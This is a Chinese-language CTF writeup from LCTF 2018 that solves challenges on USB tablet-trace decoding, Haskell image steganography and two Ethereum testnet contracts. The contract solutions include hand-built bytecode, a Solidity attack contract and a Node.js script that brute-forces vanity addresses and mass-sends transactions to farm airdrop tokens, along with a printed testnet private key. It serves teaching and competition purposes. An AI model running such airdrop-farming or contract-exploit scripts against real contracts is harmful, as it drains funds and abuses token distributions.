LCTF 2018 Writeup (Part II)

Misc

签到题 [274 solved]

你会玩osu!么? [10 solved]

题目描述:
你从未玩过的船新音游, osu.ppy.sh 了解一下
https://tundra-1257157477.cos.ap-chengdu.myqcloud.com/osu.pcap

题目给了一个 USB 流量包,首先我们用 Wireshark 打开看一下:

我们发现有多个设备的流量,而且整个捕获持续了很长时间,看来需要详细分析一下。

其中我们发现一个汇报为 G102 Prodigy Gaming Mouse 的罗技鼠标,但过滤后发现此设备的回报数据很少,没有什么价值。另外还发现一个汇报为 CTL-472 的设备,搜索一下发现是 Wacom 的数位板设备,是一个绝对坐标指针设备,而且它的汇报是等时间间隔(固定回报率)的。猜测可能是通过这个设备的移动轨迹提供信息。

二话不说上 tshark 过滤一下数据格式。

分析一下这个设备的数据,发现类似于如下格式:

02:e1:76:2b:e5:13:54:02:1a:00

其中第 3 和第 5 个 byte 变化幅度较小,第 2 和第 4 个 byte 变化幅度较大,可以猜测出是数位板的 x y 坐标,分别 2 个 byte ,小端。

02:e1:x(76:2b):y(e5:13):54:02:1a:00

同时我们还知道数位板设备是可以汇报笔接触板子的压力大小的,分析数据我们可以发现倒数第 3 个 byte 是压力:

02:e1:x(76:2b):y(e5:13):54:pressure(02):1a:00

同时我们可以查到,这个设备是可以在笔一定距离悬空时仍然检测到笔位置的,那么我们可以大胆猜测笔触板后的移动轨迹里藏着信息。经过分析后找到一个合适的 pressure 阈值,给 CTL-472 设备移动轨迹画图。

The "Easier" Way

如果你有足够的耐心,还是可以找到数位板画 flag 的那一段时间的,只需要过滤出这段时间的数据,按照上面所说根据 pressure 画图,就可以得到比较清楚的结果,直接交题走人。

下面给出 whitzard 的脚本:

import turtle as t

t.screensize(2400, 2400)
t.setup(1.0, 1.0, 0, 0)
keys = open('usbdata.txt')
i=0
for line in keys:
    i+=1
    if len(line) == 30 and i>3000:
        a0 = int(line[6:8], 16)
        a1 = int(line[9:11], 16)
        x = a0+a1*256
        b0 = int(line[12:14], 16)
        b1 = int(line[15:17], 16)
        y = b0+b1*256
        press = int(line[21:23], 16)
        if x!=0 and y!=0:
            t.setpos(x/20-500,-y/20)
            if press > 2:
                t.pendown()
            else:
                t.penup()

The "Harder" Way

但画出来发现无用的线条太多了,我们是不是漏掉了什么过滤条件?

既然题目让我们了解一下这个船新音游,那我们就了解一下,打开 osu.ppy.sh ,点击导航栏 help 进入 wiki ,首先看一下默认游戏模式玩法: https://osu.ppy.sh/help/wiki/Game_Modes/osu!

粗略翻了一下,大意就是用一个指针设备控制移动,z x 两个按键控制点击。不过在稍下面我们发现了一个有趣的东西:

意思是我们可以在游戏中按下 c 键的同时移动光标画画?

因垂丝汀,我们回头看一下完整的 pcap 包,发现这样一个设备:

这个设备在 1.8.0 汇报状态, 1.8.1 进行数据通信,分析通信数据我们可以很容易看出这是一个典型的 USB HID Keyboard 。我们拿出所有 1.8.1 的数据,它们都是 8 byte 的,根据 USB UID spec :

同时我们查表(链接)得到游戏默认三个按键的对应 keycode :

Z: 1D X: 1B C: 06

那么我们只需要扫描第 2-7 byte 的值,找到任何一个 byte 值为 06 的数据包表示此时按下 C ,同时后续第一个没有任何 byte 值为 06 的数据包表示此时松开 C 。过滤出所有按下 C 的时间段内的来自 1.7.1 的数据,再画出数据所表示的点,即可得到清晰的 flag 图像。

至于 exp 脚本?这道题没有一个队伍使用此思路解题,所以留个课后练习,请大家自己动手尝试一下吧~

想起「恐怖的回忆」 [6 solved]

题目给了一份Haskell源代码(可以用[stack][stack-url]进行编译)和编译好的PE文件,一张输入图片和输出图片。阅读源代码,即可知道这份程序是如何将Flag文本隐写到图片之中的。

Haskell逻辑其实并不难,大部分和Lisp很像,唯一的坑点是理解State单子和Writer单子...如果真的想认真读的话。

代码逻辑:

  1. 使用0x05将Input对齐到32位
  2. 将对齐后的数据分组,32位一组,做分组加密
  3. 秘钥Key循环对齐到32位,大概是(Key * N)[0:32]这样
  4. 分组加密模式为OFB
    • 加密盒的表达式为IV' = Key Xor IV Xor 0x39 Xor 0xFF
    • IV和Msg的表达式为output = Message Xor IV'
  5. 将分组加密后的数据隐写到图片中,隐写方式为LSB,通道合并方式为Xor,使用R通道和G通道
  6. 将output图片写入磁盘

数据分组和OFB加密的过程使用了Writer单子,加密盒的部分使用了State单子...但是我没有去掉函数名称,所以就算不认真读也能猜出来吧。

解法(check脚本在源码目录下):

  1. 使用Setgsolve将两张图片Xor
  2. 再次使用Setgsolve提取Xor后图片的R,G最低位
  3. 使用Key和初始IV进行OFB模式解密
  4. 得到一长串文本,Flag在其中一行。

PS:这段文本是Brainpower的歌词...

pnghs-flag

[Blockchain] easy little trick [2 solved]

题目

0x774Fea9014010a62017C739EAcB760D8E9B40B75 ROPSTEN

function level1(?){?}
function level2(?){?}
function flag(string b64email)public payable {
require(pass2[msg.sender] && pass1[msg.sender]);
emit GetFlag(b64email, "Get flag!");
}

分析

通过2关即可到的flag,逆向出逻辑,然后想办法满足条件就行。题目地址(比赛结束已经开源了) 在线反编译器

level1

三个输入,很容易判断类型。

很容易看出要满足的条件是

  1. block.blockHash(arg2)需要小于10
  2. block.blockHash(block.number)(其实就是0)需要和arg1相等
  3. msg.sender的代码长度为0

随便部署个合约,在constructor里调用一下leve1,很简单第一关就过了

level2

结合的看一下,总结:

  1. arg1为地址的合约代码长度必须为9个字节

  2. 调用合约,返回block.difficulty的值

9个字节比较苛刻,所以就得构造一下合约.

初始化opcode:
60 09 // runtime bytecode 长度
60 0c // runtime opcodes 位置
60 00 // 目的内存地址,设为 0 其他也行
39 // 复制到内存中
60 09 // runtime bytecode 长度
60 00 // 内存地址为 0
f3 // 返回到EVM

运行opcode
44 // 栈顶为 difficulty
60 00 // 00 20 40都行
52 // difficulty放到内存
60 20 // uint256 为 32bytes 长
60 00 // 在内存中的地址
f3 // 返回

构造好之后为opcode为6009600c60003960096000f34460005260206000f3,发送交易创建合约,然后把合约的地址传进去就行了。

当然,还有另一种方法,由于var3 = var1 & 0xff == 0x09;可见这里只用了一个字节,所以溢出一下长度,也是可以达到需要的条件。

有啥不对的烦请师傅们批评指正。

[Blockchain] gg bank [4 solved]

此题源码可见 0x7caa18D765e5B4c3BF0831137923841FE3e7258a

主体代码如下

contract ggbank is ggToken{
    address public owner;
    mapping(uint => bool) locknumber;

    event GetFlag(
            string b64email,
            string back
        );
    
    modifier authenticate {
        require(checkfriend(msg.sender));_;
    }
    constructor() public {
        owner=msg.sender;
    }
    function checkfriend(address _addr) internal pure returns (bool success) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000007d7ec";
        bytes20 gg = hex"00000000000000000000000000000000000fffff";

        for (uint256 i = 0; i < 34; i++) {
            if (addr & gg == id) {
                return true;
            }
            gg <<= 4;
            id <<= 4;
        }

        return false;
    }
    function getAirdrop() public authenticate returns (bool success){
         if (!initialized[msg.sender]) {
            initialized[msg.sender] = true;
            balances[msg.sender] = _airdropAmount;
            _totalSupply += _airdropAmount;
        }
        return true;
    }
    function goodluck()  public payable authenticate returns (bool success) {
        require(!locknumber[block.number]);
        require(balances[msg.sender]>=100);
        balances[msg.sender]-=100;
        uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
        if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){
            balances[msg.sender]+=20000;
            _totalSupply +=20000;
            locknumber[block.number] = true;
        }
        return true;
    }
    
 
    function PayForFlag(string b64email) public payable authenticate returns (bool success){
        
            require (balances[msg.sender] > 200000);
            emit GetFlag(b64email, "Get flag!");
        }
}

题目的思路非常清晰,首先需要找到满足条件的地址才能开启游戏,也就是地址中含有7d7ec字符,之后你就可以取得空投,然后去争取区块奖励

在这里我的本意是让大家去争取调用goodluck函数,因为取用的随机数是区块号,我们可以算出每个地址满足条件的区块序列,之后想办法把交易塞进去就行了,因为每一次调用会扣100 token,所以我们可以部署一个合约进行判断,在目标区块前发送一堆交易过去即可,不过在设计题目时我想着这就是考考大家的脚本能力,干脆也留个薅羊毛的路子,有兴趣的可以去爆破足够的地址来完成题目。可惜考虑不周,给这个方法的限制设的太低了,做题的时候大家都是选择了爆破地址,确实只需要200个太少了点,没想到师傅们都爆的这么快,因为之前我测试时爆破account地址差不多近一分钟出一个的样子,合约地址就要快的多,一两秒就出一个,所以想着难度应该差不多,结果就让人难受了,因为题目出的比较匆忙,确实很多地方没有考虑到位,也是深表歉意。

不过在师傅们做题的过程中我也关注了合约的交易交易情况,大家都是选择了爆破account地址,有的师傅是选择了爆破出所有200个地址后一次性对它们进行转账,然后再使用这些账户获取空投,将token转移,这样算是比较快的,因为这些交易可以同时打包进同一个或临近的区块,有一些则是每爆破出一个就进行转账获取空投的操作,这样就慢很多了

看到大家都是直接选择了爆破account地址,这里我就写一下爆破合约地址的脚本,因为也是刚刚赶出来的,看着有点粗糙

首先部署一个代理的合约,当然,在这之前你得爆破出一个可用的账户地址,你可以用下面的算法跑一个出来

const util = require('ethereumjs-util');
const rlp = require('rlp');
const generate = require('ethjs-account').generate;
seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
function fuzz() {
    for(var k=0;k<50000;k++){
        seed=seed+Math.random().toString(36).substring(12);
        for (var i=0;i<2000;i++){
            res=generate(seed);
            if(res.address.match("7d7ec")){
                console.log(res);
                return;
            }
        }
    }
}

fuzz();

大概是库的原因,我自己跑着是有点慢,下面有一个现成的

{ privateKey:
   '0x962d412e4b25cb79838330e88fa21c8698d30ab225abab15daf73ddf87d291d2',
  publicKey:
   '0x963d413f4d0afec97dce9d849566a193d1b4013d153eba8ae9a08385b601a195db819d84811aee849f3da5d0013b53286055980aa05d8f51625f21c721471185',
  address: '0xfE319e52c5771a853487eC7d7ecA0d0987e57429' }

然后部署合约

contract attack{
    ggbank target=ggbank(0x7caa18D765e5B4c3BF0831137923841FE3e7258a);
    constructor(){
        target.getAirdrop();
        target.transfer('your account address',1000);
    }
}

编译得到字节码,填入脚本,这里我爆破的是合约地址,因为合约地址的计算就是基于部署它的账户地址和该笔交易的nonce得来的,所以下面的代码主要是先随机生成私钥得到account地址后判断该地址前10个交易部署的合约的合约地址是否满足要求,满足的话我们就保存,随后统一对这些account地址转帐,然后让其发送交易,当nonce满足要求时即可部署合约,这时的合约地址就是满足题目要求的

const util = require('ethereumjs-util');
const rlp = require('rlp');
var Web3 = require("web3");
var web3 = new Web3();
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io"));
web3.eth.accounts.wallet.add('your own private key');

const generate = require('ethjs-account').generate;
seed='892hr*(&^&)nusi.dvuqGCTYBAhohskd51D1Q8E1%^;DZ1-=.@WWdvRXNI()VF6/*Z%$C51D1QV*<>FEI;]!FI;"./+-*!DQv5soi@*QS'//生成地址所用的种子,脸滚键盘
function fuzz(){
    for(var k=0;k<50000;k++){
        seed=seed+Math.random().toString(36).substring(12);//为避免重复,生成一定数目后对种子进行更新
        for(var i=0;i<1000;i++){
            res=generate(seed);
            for (var j=0;j<30;j++){
                encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码
                buf = util.sha3(encodedRlp);
                contractAddress =buf.slice(12).toString('hex');//取buffer第12个字节后面的部分作为地址

                if(contractAddress.match("7d7ec")){
                    //console.log(res);
                    //console.log(j);
                    return [res,j];
                }
            }
        }
    }
}
//部署的代理合约的字节码
var codedata="0x6080604052737caa18d765e5b4c3bf0831137923841fe3e7258a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d25f82a06040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156100ea57600080fd5b505af11580156100fe573d6000803e3d6000fd5b505050506040513d602081101561011457600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb735e765a46826f5e7d7ec2d7b13285fd85637fb8376103e86040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561020057600080fd5b505af1158015610214573d6000803e3d6000fd5b505050506040513d602081101561022a57600080fd5b81019080805190602001909291905050505060358061024a6000396000f3006080604052600080fd00a165627a7a723058206521b1bab92f54a8a4aaebafa1a446411efee324b6a8511f3e7c298f2b7a9d100029";
nonces=your nonce; //你的账户此时的nonce值
gg=[]
function attack(){
for (var i=0;i<30;i++){
    web3.eth.accounts.wallet.add(gg[i][0].privateKey);
    console.log(i);
    var n=gg[i][1];
    for(var k=0;k<n;k++){
        web3.eth.sendTransaction({
        from: gg[i][0].address,
        to: 'your own address',
        value: 50000000000000,
        gas: 100000,
        nonce: k,
        gasPrice: 1000000000
        }).catch(new Function());
    }
    web3.eth.sendTransaction({
        from: gg[i][0].address,
        to:'',
        data: codedata,
        nonce: n,
        gas: 2000000,
        gasPrice: 1000000000

    }).catch(new Function());    
}
}

for (var i=0;i<30;i++){
    console.log(i);
    gg[i]=fuzz();
}
for (var j=0;j<30;j++){
    console.log(j);
    web3.eth.sendTransaction({
    from: 'your own address',
    to: gg[j][0].address,
    nonce: nonces,
    value: 10000000000000000,
    gas: 1000000,
    gasPrice: 50000000000
    }).catch(new Function());
    nonces+=1;    
}

setTimeout(attack,120000);

这里主要有几点需要注意,我们集中进行对account地址转账后,需要等待这些交易确认才能使用这些account地址进行下一步的操作,所以这里我是选择了等待2分钟,另外我们连接的rpc接口似乎也有着交易发送的限制,我在测试时将循环设为50时后面进行account转账并部署合约时就崩掉了,具体还得后面再调试,保险起见我就设置了一次爆破30个,不过速度还是挺快的,其实爆破用时也就不到30秒,不过等待确认用了2分钟,总体大概不到三分钟吧,这时候你就更新nonce重新跑就行了,交易直接堆在链上让它们去确认就行了,总体速度还是挺快的

至于通过goodluck函数的那条路这里就懒得写了,因为题目的设计问题在这里可能确实没薅羊毛方便,不管使用的什么方法应该都还是能学到点东西的。

tagged by none  

Comment Closed.

© 2014 ::L Team::